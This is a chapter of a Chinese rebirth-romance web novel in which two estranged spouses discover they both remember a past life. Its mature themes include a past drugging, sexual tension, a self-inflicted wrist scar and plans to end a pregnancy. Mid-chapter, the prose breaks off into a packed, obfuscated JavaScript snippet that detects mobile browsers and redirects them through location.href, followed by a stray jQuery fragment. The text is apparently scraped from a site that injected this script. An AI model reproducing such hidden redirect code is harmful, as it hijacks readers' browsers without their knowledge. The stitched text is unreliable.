宁衣初的宏图大志,让贺适瑕也笑起来:“是挺好的。不过,如果财产都落到你手里,宁家和贺家的人继续一穷二白地过完下半辈子,你看着他们……我们潦倒难堪,相比我们这群人去死,会不会觉得更解气?”
宁衣初拉下脸:“你在反讽我吗?”
“不是。”贺适瑕没忍住,又摸了摸宁衣初的脸。
他温和又坚定地说:“这是我们欠你的,你想要什么都可以……如果这就是你想要的,那给我一个弥补的机会,让我帮你实现心愿,好不好?”
宁衣初漠然地看着他:“贺适瑕,你是觉得反正就算我察觉到了不对劲,也不能拿你怎么样,所以都不遮掩一下吗?”
贺适瑕怔了怔:“阿宁……”
宁衣初拂开脸上的手,从他身上爬起来,又懒得起身走动,索性就在旁边坐下。
身上一轻,贺适瑕却只觉得遗憾,不想宁衣初离开。他克制着想要把宁衣初拉回怀里的冲动,也撑着地毯坐起身。
宁衣初垂下眸子,拨弄着衣袖上沾染的血迹,漫不经心地提醒贺适瑕:“你忘了吗,今天你把我带回贺家后,刚警告过我‘你想要的已经得到了,以后还想要什么就直接说,别寻死觅活地折腾’……”
贺适瑕的心脏一停。
宁衣初声线平平:“现在又是这么个作派……态度变化这么大,你不担心我起疑吗?还是觉得就算起疑,我也只能欢欢喜喜接受你的‘弥补’?”
贺适瑕伸出手,却不知道能落在哪里,只能微颤着悬在空中:“阿宁,我、我是……如果我说,我是几年后重生回来的……你信吗?”
宁衣初觉得贺适瑕小心翼翼的语气挺好玩的,他忍不住笑起来。
贺适瑕以为宁衣初这是不信,所以才嗤笑。
但出乎意料的是,宁衣初接着对他点了下头,轻飘飘地说:“信啊。”
贺适瑕怔住,突然想起来了刚才宁衣初那么突然地说起想他、想宁家和贺家的人都去死……
前世这个时候的宁衣初,是还不会这么“真诚”袒露出心声的。
“我还知道你是死在我墓前的。”宁衣初略微歪头,看着面前的贺适瑕。
像是想起了什么特别有意思的事情似的,他在贺适瑕震颤的瞳孔下,饶有兴致地说下去。
“我死了之后,你突然意识到‘哦,原来我喜欢他’,然后想帮我报复从前对我不好的那些人,结果招惹众怒,被宁则书的暗恋者跟踪,趁你给我扫墓的时候把你捅死了,临死前你还想摸一下我的遗照,真让人感动……那么喜欢我啊,那为什么我生前从来没感觉到过啊?”
面前的宁衣初语气轻松,甚至随着话带上了笑意,贺适瑕心下颤巍巍的百感交集。
意识到宁衣初也有前世的记忆,“失而复得”的情绪更加浓重,让贺适瑕几乎想要不管不顾上前把宁衣初揉进骨血里。
但宁衣初此时的神态,那么轻松,那么拒人于千里之外,警告着贺适瑕要认清自己的身份,给他躁动的心脏裹上厚实的冰雪,让他不敢妄动。
他没有资格妄动。
宁衣初伸出手,摸上贺适瑕脖颈上的咬痕,指尖轻飘飘落在皮肤上,让贺适瑕颤抖了下。
宁衣初刚才虽然咬得很重,但刚尝到血腥味就停了,所以其实伤得也没那么吓人,此时贺适瑕脖颈上的伤口已经没往外渗血了。
纤长的手指轻动,顺着血迹淌过留下的红色纹路,宁衣初摸上了贺适瑕的衣襟。
“重生回来,第一件事就是想跟我睡同个房间……”宁衣初乐不可支,“你想做什么?”
贺适瑕好像听到了自己血管暴动的声响,他克制着回答:“没有……我的确没想到你也回来了……但我没想对毫不知情的你做些什么,我只是……想离你近一点,阿宁。”
顺着衣襟布料的走向,宁衣初拨开了贺适瑕睡衣的第一颗扣子。
那动作很暧昧,可他眼瞳如墨,目光清凌凌地看着贺适瑕,唯独能读出来的情绪只有嘲讽。
贺适瑕喉间轻滚,下意识想说点别的:“上辈子你……去世之后,是魂魄一直还在吗,所以才能看到那之后我做了什么?”
宁衣初指尖停下,他眨了眨眼。
所以,贺适瑕虽然也重生了,但他并不知道原书剧情的存在吗?
这件事的确是他独享的吗?
这个认知,让宁衣初的情绪再度高涨起来。
他突然扑到贺适瑕身上,又一次咬上了贺适瑕的脖颈。
贺适瑕抬起头,搂住宁衣初纤细的腰身,任由他咬。
直到察觉到宁衣初在扯他的衣服,贺适瑕抿了抿唇,艰难地握住了宁衣初的手腕。
宁衣初左手手腕上有道疤,按这辈子的时间来算,刚愈合不太久,摸着疤痕很明显,贺适瑕握到了,惊心之下,差点失力抓不紧宁衣初的手。
他抿了抿唇,稳住心神后轻声开口,像是陈述,又像是提醒彼此:“阿宁,你不喜欢我……你恨我。”
宁衣初松了牙关,抬脸笑起来,黑色的眼眸和眼尾的红色小痣显得流光溢彩:“你不想做吗?我还以为你是特意过来,想给我补一个‘洞房花烛’的呢。”
贺适瑕有些狼狈地避开他的目光:“不论你信不信,但我真的……”
“不论我信不信,我现在都很有兴致。”宁衣初跃跃欲试,“还是你不行?没有像第一次那样被下药,你就起不来?那你滚,我去找贺如林,反正他想勾搭我很久了……”
贺适瑕把想要起身的宁衣初按回怀里。
“阿宁……”贺适瑕叹了声,“你怀孕了。”
宁衣初蹙眉,他终于给自己溢满的情绪找到发泄的渠道,并不想改变主意。
“那你小心点。”宁衣初无所谓地说,“或者你莽撞点,直接把这个孩子弄掉,正好省事。”
贺适瑕垂眸,他看着宁衣初满不在乎的眉眼,感到密不透风的难过和歉疚。
“我和你一样,刚重生回来,心境很震荡,都有满满当当的情绪想要发泄,你想通过做那种事排解宣泄,可以理解。”贺适瑕温声说,他似乎妄图通过和缓的语气来安抚宁衣初,也提醒他自己不要乱来,“可是阿宁……和憎恨的人上床,我怕你醒了之后后悔。”
贺适瑕的话显得很凝重诚恳,搭配上他当下的生理状态,宁衣初觉得还挺招笑。
他屈膝碾了碾贺适瑕底下,嘲讽道:“善解人意得这么高高在上啊……那你兴奋个什么劲儿?妨碍着我了。”
贺适瑕眉头紧锁,没忍住从喉咙里发出闷重的气声,既像是吃痛,又像是吃到了刺激神经的违禁药品。
“……因为我也想要你,我承认我也想。”贺适瑕闭了闭眼。
宁衣初却被扫兴得没了兴致,他故意压着贺适瑕脖颈上的伤口,借力起身:“算了……”
然后又被贺适瑕压着后腰按了回去。
宁衣初蹙眉,又来了火气:“你有病能不能去死?”
“还太早了,到时间了我会去的。”贺适瑕这话听起来,显得他这人也没正常到哪里去。
宁衣初冷眼看着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16695974|188957||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他。
贺适瑕接着道:“但是在那之前,我们都还是合法伴侣关系,你不能去找别人上床……阿宁,那是出轨。”
宁衣初回过味来,原来贺适瑕是把刚才他说要去找贺如林的话当真了,以为他刚才起身还是想去找别人上床。
他微微歪头:“你不喜欢绿帽子吗?那回头我多帮你戴几顶,给你脱脱敏。”
贺适瑕没回答。
彼此静静对视了会儿,然后贺适瑕低头,想要吻宁衣初的唇。
宁衣初蹙眉,偏过脸躲开了:“不要亲我。”
贺适瑕顿了顿:“……好。”
他继续低下头,亲了亲宁衣初纤细脆弱的脖颈,然后把他抱了起来,放到床上。
宁衣初的手腕被按在了枕头上,他微微偏头,看着自己左手手腕上的伤痕。
他想想……
这当然是他自己割的。
三个月前,宁家给小少爷宁则书办毕业宴兼二十二岁的生日宴,邀请了不少宾客,其中就包括贺家人,贺适瑕也出席了。
当晚,宁衣初和贺适瑕因为意外发生了关系。
宁衣初先天体弱,被药物和贺适瑕折腾下来,之后直接病倒昏睡了三天。
再醒来时,就得知其他人已经拍板定案——是他宁衣初心机叵测,给贺适瑕下了药,爬了他的床,还让其他人第二天一早把他俩捉奸在床、将事情宣扬开来。
为什么这么确定?
因为宁衣初散落在地上的衣服口袋里滑出了药盒。
宁衣初刚醒的时候,得知了原委,试图解释:“药盒是我的,但里面的药只是维生素和葡萄糖片,我没有给你下药。”
当时还在病房里照顾他的贺适瑕没太大反应,好像没信又好像信了似的,模棱两可地点点头,只问他还有没有觉得身体哪里不舒服。
宁衣初当时就明白了,没人信他。
宁家和贺家的人都觉得他是在狡辩,认为他是仗着他自己平时就有带药盒的习惯,想要借此瞒天过海装无辜冤枉。
其他人对他冷嘲热讽,贺适瑕的态度已经算是那些人里比较“好”的了。
他没有直接说不信,还照顾他到病好、问他想要什么补偿。
倒是一样的高高在上。
回想起上辈子贺适瑕的嘴脸,再看现在身上的这个人,宁衣初只觉得他面目可憎,什么兴致都没有了。
“滚开。”宁衣初用力推开了贺适瑕。
他顾不上穿好几乎要被褪尽的睡衣,侧身趴到床边干呕起来。
贺适瑕怔了怔,连忙俯身过去,轻轻拍宁衣初的背。
“别碰我!”宁衣初头也不抬,只反手推他。
贺适瑕有些拘谨地收回手:“……抱歉。”
贺适瑕下了床,倒了一杯水端到床边,想要递给宁衣初:“阿宁……”
宁衣初没吐出来什么,但干呕之下,他的脸色更加苍白起来。
接了水杯,宁衣初没喝,直接连着杯子一起往贺适瑕脸上砸:“滚——”
贺适瑕没躲,眉骨被杯沿砸到,脸上和身上都落了不少水渍,脖颈上刚才流下的血痕倒是被泼淡了。
他接住滚落的杯子,起身去换了一个,重新给宁衣初倒了一杯温水。
宁衣初已经不想干呕了,他翻身靠在床头枕上,冷眼看着贺适瑕。
他接了贺适瑕这次递来的水,慢条斯理喝了几口,然后低眸看着自己平坦的腹部,语气平静不少:“我们离婚吧,我会去把孩子打掉,你用钱补偿我就够了。”